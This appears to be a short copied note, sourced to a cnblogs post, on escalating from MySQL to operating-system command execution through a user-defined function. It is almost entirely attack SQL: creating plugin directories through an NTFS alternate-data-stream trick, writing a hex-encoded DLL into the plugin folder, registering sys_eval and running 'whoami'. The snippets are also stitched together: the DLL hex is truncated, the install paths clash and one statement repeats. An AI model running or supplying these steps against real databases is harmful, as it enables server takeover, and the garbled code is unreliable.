select @@basedir; //查找到mysql的目录 select ‘It is dll‘ into dumpfile ‘C:\\Program Files\\MySQL\\MySQL Server 5.1\\lib::$INDEX_ALLOCATION‘; //利用NTFS ADS创建lib目录 select ‘It is dll‘ into dumpfile ‘C:\\Program Files\\MySQL\\MySQL Server 5.1\\lib\\plugin::$INDEX_ALLOCATION‘; //利用NTFS ADS创建plugin目录
create table temp(data longblob); insert into temp(data) values (0x4d5a90000300000004000000ffff0000b800000000000000400000000000000000000000000000000000000000000000000000000000000000000000f00000000e1fba0e00b409cd21b8014ccd21546869732070726f6772616d2063616e6e6f742062652072756e20696e20444f53206d6f64652e0d0d0a2400000000000000000000000000000); update temp set data = concat(data,0x33c2ede077a383b377a383b377a383b369f110b375a383b369f100b37da383b369f107b375a383b35065f8b374a383b377a382b35ba383b369f10ab376a383b369f116b375a383b369f111b376a383b369f112b376a383b35269636877a383b300000000000000000000000000000000504500006486060070b1834b00000000); select data from temp into dumpfile "G:\\phpstudy_pro\\Extensions\\MySQL5.7.26\\lib\\plugin\\udf.dll"; create function sys_eval returns string soname ‘udf.dll‘; #创建函数sys_eval
create function sys_eval returns string soname "udf.dll"; select sys_eval("whoami");
原文：https://www.cnblogs.com/lightwind6/p/14856086.html